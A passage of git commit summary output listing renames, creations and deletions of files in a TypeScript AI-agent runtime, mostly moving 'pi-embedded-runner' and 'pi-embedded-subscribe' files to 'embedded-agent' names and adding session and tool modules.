src/agents/{pi-embedded-runner => embedded-agent-runner}/model.static-catalog.ts (68%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/model.test-harness.ts (97%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/model.test.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/model.ts (92%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/openrouter-model-capabilities.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/openrouter-model-capabilities.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/post-compaction-loop-guard.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/post-compaction-loop-guard.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/prompt-cache-observability.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/prompt-cache-observability.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/prompt-cache-retention.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/prompt-cache-retention.ts (94%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/replay-history.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/replay-history.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/replay-state.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/resource-loader.test.ts (63%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/resource-loader.ts (65%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/result-fallback-classifier.test.ts (68%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/result-fallback-classifier.ts (91%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run-state.ts (91%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run.before-agent-reply-cron.test.ts (92%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run.codex-app-server-recovery.test.ts (94%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run.codex-server-error-fallback.test.ts (90%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run.compaction-loop-guard.test.ts (95%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run.cross-provider-fallback-error-context.test.ts (77%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run.empty-error-retry.test.ts (93%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run.incomplete-turn.test.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run.overflow-compaction.fixture.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run.overflow-compaction.harness.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run.overflow-compaction.loop.test.ts (94%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run.overflow-compaction.test.ts (96%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run.timeout-triggered-compaction.test.ts (94%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/AGENTS.md (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/CLAUDE.md (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/abortable.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/abortable.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/assistant-failover.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/assistant-failover.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt-bootstrap-routing.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt-http-runtime.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt-session.ts (89%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt-stage-timing.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt-stage-timing.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt-system-prompt.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt-system-prompt.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt-tool-construction-plan.test.ts (92%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt-tool-construction-plan.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt-trajectory-status.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt-trajectory-status.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.context-engine-helpers.ts (97%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.memory-flush-forwarding.test.ts (93%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.model-diagnostic-events.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.model-diagnostic-events.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.prompt-helpers.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.prompt-helpers.ts (93%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.queue-message.test.ts (91%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.session-lock.test.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.session-lock.ts (97%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.sessions-yield.ts (95%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.spawn-workspace.bootstrap-marker.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.spawn-workspace.bootstrap-routing.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.spawn-workspace.bootstrap-warning.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.spawn-workspace.cache-ttl.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.spawn-workspace.context-engine.test.ts (93%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.spawn-workspace.context-injection.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.spawn-workspace.resource-loader.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.spawn-workspace.sessions-spawn.test.ts (86%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.spawn-workspace.test-support.ts (92%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.spawn-workspace.timeout.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.stop-reason-recovery.test.ts (93%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.stop-reason-recovery.ts (93%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.subscription-cleanup.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.subscription-cleanup.ts (94%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.thread-helpers.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.tool-call-argument-repair.test.ts (95%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.tool-call-argument-repair.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.tool-call-normalization.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.tool-call-normalization.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.tool-run-context.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.transcript-policy.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.transcript-policy.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/attempt.ts (94%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/auth-controller.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/auth-controller.ts (97%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/auth-profile-failure-policy.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/auth-profile-failure-policy.ts (94%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/auth-profile-failure-policy.types.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/backend.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/codex-app-server-recovery.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/compaction-retry-aggregate-timeout.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/compaction-retry-aggregate-timeout.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/compaction-timeout.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/compaction-timeout.ts (96%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/failover-observation.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/failover-observation.ts (96%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/failover-policy.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/failover-policy.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/fallbacks.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/fallbacks.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/helpers.resolve-error-context.test.ts (86%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/helpers.test.ts (97%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/helpers.ts (95%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/history-image-prune.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/history-image-prune.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/idle-timeout-breaker.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/idle-timeout-breaker.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/images.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/images.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/incomplete-turn.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/llm-idle-timeout.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/llm-idle-timeout.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/message-merge-strategy.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/message-merge-strategy.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/message-tool-terminal.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/message-tool-terminal.ts (93%) create mode 100644 src/agents/embedded-agent-runner/run/message-transform-stream-wrapper.ts rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/midturn-precheck.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/params.ts (97%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/payloads.errors.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/payloads.test-helpers.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/payloads.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/payloads.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/preemptive-compaction.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/preemptive-compaction.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/preemptive-compaction.types.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/retry-limit.ts (90%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/runtime-context-prompt.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/runtime-context-prompt.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/setup.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/setup.ts (87%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/stream-wrapper.ts (82%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/tool-media-payloads.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/tool-media-payloads.ts (80%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/transcript-repair-runtime-contract.test.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/trigger-policy.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/trigger-policy.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/run/types.ts (93%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/runs.test.ts (88%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/runs.ts (87%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/sandbox-info.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/sanitize-session-history.tool-result-details.test.ts (93%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/session-file-key.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/session-manager-cache.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/session-manager-cache.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/session-manager-init.ts (97%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/sessions-yield.orchestration.test.ts (87%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/skills-runtime.integration.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/skills-runtime.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/skills-runtime.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/stream-resolution.test.ts (89%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/stream-resolution.ts (85%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/system-prompt.test.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/system-prompt.ts (96%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/thinking.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/thinking.ts (99%) create mode 100644 src/agents/embedded-agent-runner/tool-call-argument-decoding.test.ts rename src/agents/{pi-embedded-runner => embedded-agent-runner}/tool-call-argument-decoding.ts (81%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/tool-name-allowlist.test.ts (87%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/tool-name-allowlist.ts (75%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/tool-result-char-estimator.test.ts (96%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/tool-result-char-estimator.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/tool-result-context-guard.test.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/tool-result-context-guard.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/tool-result-truncation.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/tool-result-truncation.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/tool-schema-runtime.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/tool-schema-runtime.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/tool-split.ts (70%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/transcript-file-state.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/transcript-file-state.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/transcript-rewrite.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/transcript-rewrite.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/types.ts (96%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/usage-accumulator.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/usage-accumulator.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/usage-reporting.test.ts (91%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/utils.ts (78%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/wait-for-idle-before-flush.ts (100%) rename src/agents/{pi-embedded-subscribe.block-reply-rejections.test.ts => embedded-agent-subscribe.block-reply-rejections.test.ts} (93%) rename src/agents/{pi-embedded-subscribe.code-span-awareness.test.ts => embedded-agent-subscribe.code-span-awareness.test.ts} (89%) rename src/agents/{pi-embedded-subscribe.compaction-test-helpers.ts => embedded-agent-subscribe.compaction-test-helpers.ts} (100%) rename src/agents/{pi-embedded-subscribe.e2e-harness.ts => embedded-agent-subscribe.e2e-harness.ts} (86%) rename src/agents/{pi-embedded-subscribe.handlers.compaction.runtime.ts => embedded-agent-subscribe.handlers.compaction.runtime.ts} (100%) rename src/agents/{pi-embedded-subscribe.handlers.compaction.test.ts => embedded-agent-subscribe.handlers.compaction.test.ts} (96%) rename src/agents/{pi-embedded-subscribe.handlers.compaction.ts => embedded-agent-subscribe.handlers.compaction.ts} (92%) rename src/agents/{pi-embedded-subscribe.handlers.lifecycle.test.ts => embedded-agent-subscribe.handlers.lifecycle.test.ts} (97%) rename src/agents/{pi-embedded-subscribe.handlers.lifecycle.ts => embedded-agent-subscribe.handlers.lifecycle.ts} (92%) rename src/agents/{pi-embedded-subscribe.handlers.messages.test.ts => embedded-agent-subscribe.handlers.messages.test.ts} (98%) rename src/agents/{pi-embedded-subscribe.handlers.messages.ts => embedded-agent-subscribe.handlers.messages.ts} (95%) rename src/agents/{pi-embedded-subscribe.handlers.tools.media.test.ts => embedded-agent-subscribe.handlers.tools.media.test.ts} (86%) rename src/agents/{pi-embedded-subscribe.handlers.tools.test.ts => embedded-agent-subscribe.handlers.tools.test.ts} (99%) rename src/agents/{pi-embedded-subscribe.handlers.tools.ts => embedded-agent-subscribe.handlers.tools.ts} (98%) rename src/agents/{pi-embedded-subscribe.handlers.ts => embedded-agent-subscribe.handlers.ts} (85%) rename src/agents/{pi-embedded-subscribe.handlers.types.ts => embedded-agent-subscribe.handlers.types.ts} (90%) rename src/agents/{pi-embedded-subscribe.lifecycle-billing-error.test.ts => embedded-agent-subscribe.lifecycle-billing-error.test.ts} (90%) rename src/agents/{pi-embedded-subscribe.openai-responses.test-helpers.ts => embedded-agent-subscribe.openai-responses.test-helpers.ts} (100%) rename src/agents/{pi-embedded-subscribe.promise.ts => embedded-agent-subscribe.promise.ts} (100%) rename src/agents/{pi-embedded-subscribe.raw-stream.ts => embedded-agent-subscribe.raw-stream.ts} (100%) rename src/agents/{pi-embedded-subscribe.reply-tags.test.ts => embedded-agent-subscribe.reply-tags.test.ts} (90%) rename src/agents/{pi-embedded-subscribe.shared-types.ts => embedded-agent-subscribe.shared-types.ts} (65%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.calls-onblockreplyflush-before-tool-execution-start-preserve.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.calls-onblockreplyflush-before-tool-execution-start-preserve.test.ts} (91%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-append-text-end-content-is.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.does-not-append-text-end-content-is.test.ts} (98%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-call-onblockreplyflush-callback-is-not.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.does-not-call-onblockreplyflush-callback-is-not.test.ts} (82%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-duplicate-text-end-repeats-full.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.does-not-duplicate-text-end-repeats-full.test.ts} (93%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-emit-duplicate-block-replies-text.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.does-not-emit-duplicate-block-replies-text.test.ts} (87%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.emits-block-replies-text-end-does-not.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.emits-block-replies-text-end-does-not.test.ts} (97%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.emits-reasoning-as-separate-message-enabled.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.emits-reasoning-as-separate-message-enabled.test.ts} (90%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.filters-final-suppresses-output-without-start-tag.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.filters-final-suppresses-output-without-start-tag.test.ts} (93%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.includes-canvas-action-metadata-tool-summaries.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.includes-canvas-action-metadata-tool-summaries.test.ts} (93%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.keeps-assistanttexts-final-answer-block-replies-are.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.keeps-assistanttexts-final-answer-block-replies-are.test.ts} (84%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.keeps-indented-fenced-blocks-intact.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.keeps-indented-fenced-blocks-intact.test.ts} (92%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.reopens-fenced-blocks-splitting-inside-them.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.reopens-fenced-blocks-splitting-inside-them.test.ts} (91%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.splits-long-single-line-fenced-blocks-reopen.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.splits-long-single-line-fenced-blocks-reopen.test.ts} (85%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.streams-soft-chunks-paragraph-preference.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.streams-soft-chunks-paragraph-preference.test.ts} (93%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.subscribeembeddedpisession.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.subscribeembeddedagentsession.test.ts} (94%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.suppresses-commentary-phase-output.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.suppresses-commentary-phase-output.test.ts} (90%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.suppresses-message-end-block-replies-message-tool.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.suppresses-message-end-block-replies-message-tool.test.ts} (95%) rename src/agents/{pi-embedded-subscribe.subscribe-embedded-pi-session.waits-multiple-compaction-retries-before-resolving.test.ts => embedded-agent-subscribe.subscribe-embedded-agent-session.waits-multiple-compaction-retries-before-resolving.test.ts} (98%) rename src/agents/{pi-embedded-subscribe.tool-text-diagnostics.ts => embedded-agent-subscribe.tool-text-diagnostics.ts} (93%) rename src/agents/{pi-embedded-subscribe.tools.extract.test.ts => embedded-agent-subscribe.tools.extract.test.ts} (98%) rename src/agents/{pi-embedded-subscribe.tools.media.test.ts => embedded-agent-subscribe.tools.media.test.ts} (98%) rename src/agents/{pi-embedded-subscribe.tools.test.ts => embedded-agent-subscribe.tools.test.ts} (99%) rename src/agents/{pi-embedded-subscribe.tools.ts => embedded-agent-subscribe.tools.ts} (98%) rename src/agents/{pi-embedded-subscribe.ts => embedded-agent-subscribe.ts} (96%) rename src/agents/{pi-embedded-subscribe.types.ts => embedded-agent-subscribe.types.ts} (89%) rename src/agents/{pi-embedded-utils.strip-model-special-tokens.test.ts => embedded-agent-utils.strip-model-special-tokens.test.ts} (92%) rename src/agents/{pi-embedded-utils.test.ts => embedded-agent-utils.test.ts} (99%) rename src/agents/{pi-embedded-utils.ts => embedded-agent-utils.ts} (98%) create mode 100644 src/agents/embedded-agent.runtime.ts rename src/agents/{pi-embedded.ts => embedded-agent.ts} (53%) create mode 100644 src/agents/harness/builtin-openclaw.ts delete mode 100644 src/agents/harness/builtin-pi.ts create mode 100644 src/agents/model-registry-loader.ts delete mode 100644 src/agents/models-config.providers.plugin-allowlist-compat.test.ts create mode 100644 src/agents/modes/interactive/components/diff.ts create mode 100644 src/agents/modes/interactive/components/keybinding-hints.ts create mode 100644 src/agents/modes/interactive/components/visual-truncate.ts create mode 100644 src/agents/modes/interactive/theme/dark.json create mode 100644 src/agents/modes/interactive/theme/light.json create mode 100644 src/agents/modes/interactive/theme/theme-schema.json create mode 100644 src/agents/modes/interactive/theme/theme.ts delete mode 100644 src/agents/pi-embedded-runner.ts delete mode 100644 src/agents/pi-embedded-runner/aliases.test.ts delete mode 100644 src/agents/pi-embedded-runner/anthropic-cache-control-payload.ts delete mode 100644 src/agents/pi-embedded-runner/compact.runtime.ts delete mode 100644 src/agents/pi-embedded-runner/compact.runtime.types.ts delete mode 100644 src/agents/pi-embedded-runner/model-context-tokens.ts delete mode 100644 src/agents/pi-embedded-runner/model.provider-normalization.ts delete mode 100644 src/agents/pi-embedded-runner/run/backend.test.ts delete mode 100644 src/agents/pi-embedded-runner/runtime.ts delete mode 100644 src/agents/pi-embedded.runtime.ts delete mode 100644 src/agents/pi-model-discovery-runtime.ts delete mode 100644 src/agents/pi-model-discovery.compat.e2e.test.ts delete mode 100644 src/agents/pi-model-discovery.ts delete mode 100644 src/agents/pi-tools.host-edit.ts delete mode 100644 src/agents/pi-tools.read.host-edit-recovery.test.ts create mode 100644 src/agents/runtime/index.ts create mode 100644 src/agents/runtime/proxy.test.ts create mode 100644 src/agents/runtime/proxy.ts create mode 100644 src/agents/session-runtime-compat.ts create mode 100644 src/agents/sessions/agent-session-runtime.ts create mode 100644 src/agents/sessions/agent-session-services.ts create mode 100644 src/agents/sessions/agent-session.ts create mode 100644 src/agents/sessions/auth-guidance.ts create mode 100644 src/agents/sessions/auth-storage.ts create mode 100644 src/agents/sessions/bash-executor.test.ts create mode 100644 src/agents/sessions/bash-executor.ts create mode 100644 src/agents/sessions/compaction/branch-summarization.ts create mode 100644 src/agents/sessions/compaction/compaction.ts create mode 100644 src/agents/sessions/compaction/index.ts create mode 100644 src/agents/sessions/defaults.ts create mode 100644 src/agents/sessions/diagnostics.ts create mode 100644 src/agents/sessions/event-bus.ts create mode 100644 src/agents/sessions/exec.ts create mode 100644 src/agents/sessions/extension-sdk.ts create mode 100644 src/agents/sessions/extensions/index.ts create mode 100644 src/agents/sessions/extensions/loader.bun-virtual-modules.test.ts create mode 100644 src/agents/sessions/extensions/loader.test.ts create mode 100644 src/agents/sessions/extensions/loader.ts create mode 100644 src/agents/sessions/extensions/runner.ts create mode 100644 src/agents/sessions/extensions/types.ts create mode 100644 src/agents/sessions/extensions/wrapper.ts create mode 100644 src/agents/sessions/footer-data-provider.ts create mode 100644 src/agents/sessions/http-dispatcher.ts create mode 100644 src/agents/sessions/index.ts create mode 100644 src/agents/sessions/keybindings.ts create mode 100644 src/agents/sessions/messages.ts create mode 100644 src/agents/sessions/model-registry.test.ts create mode 100644 src/agents/sessions/model-registry.ts create mode 100644 src/agents/sessions/model-resolver.test.ts create mode 100644 src/agents/sessions/model-resolver.ts create mode 100644 src/agents/sessions/package-manager.test.ts create mode 100644 src/agents/sessions/package-manager.ts create mode 100644 src/agents/sessions/prompt-templates.ts create mode 100644 src/agents/sessions/provider-display-names.ts create mode 100644 src/agents/sessions/resolve-config-value.ts create mode 100644 src/agents/sessions/resource-loader.ts create mode 100644 src/agents/sessions/sdk.test.ts create mode 100644 src/agents/sessions/sdk.ts create mode 100644 src/agents/sessions/session-cwd.ts create mode 100644 src/agents/sessions/session-manager.ts create mode 100644 src/agents/sessions/settings-manager.ts create mode 100644 src/agents/sessions/skills.ts create mode 100644 src/agents/sessions/slash-commands.ts create mode 100644 src/agents/sessions/source-info.ts create mode 100644 src/agents/sessions/system-prompt.ts create mode 100644 src/agents/sessions/telemetry.ts create mode 100644 src/agents/sessions/timings.ts create mode 100644 src/agents/sessions/tools/bash-operations.ts create mode 100644 src/agents/sessions/tools/bash.ts create mode 100644 src/agents/sessions/tools/edit-diff.ts create mode 100644 src/agents/sessions/tools/edit.test.ts create mode 100644 src/agents/sessions/tools/edit.ts create mode 100644 src/agents/sessions/tools/file-mutation-queue.ts create mode 100644 src/agents/sessions/tools/find.ts create mode 100644 src/agents/sessions/tools/grep.ts create mode 100644 src/agents/sessions/tools/index.ts create mode 100644 src/agents/sessions/tools/ls.ts create mode 100644 src/agents/sessions/tools/output-accumulator.test.ts create mode 100644 src/agents/sessions/tools/output-accumulator.ts create mode 100644 src/agents/sessions/tools/path-utils.ts create mode 100644 src/agents/sessions/tools/private-temp-file.ts create mode 100644 src/agents/sessions/tools/read.test.ts create mode 100644 src/agents/sessions/tools/read.ts create mode 100644 src/agents/sessions/tools/render-utils.ts create mode 100644 src/agents/sessions/tools/tool-contracts.ts create mode 100644 src/agents/sessions/tools/tool-definition-wrapper.ts create mode 100644 src/agents/sessions/tools/truncate.ts create mode 100644 src/agents/sessions/tools/write.test.ts create mode 100644 src/agents/sessions/tools/write.ts create mode 100644 src/agents/stream-compat.ts rename src/agents/test-helpers/{pi-coding-agent-token-mock.ts => agent-session-token-mock.ts} (71%) rename src/agents/test-helpers/{pi-tool-stubs.ts => agent-tool-stubs.ts} (75%) rename src/agents/test-helpers/{pi-tools-fs-helpers.ts => agent-tools-fs-helpers.ts} (100%) rename 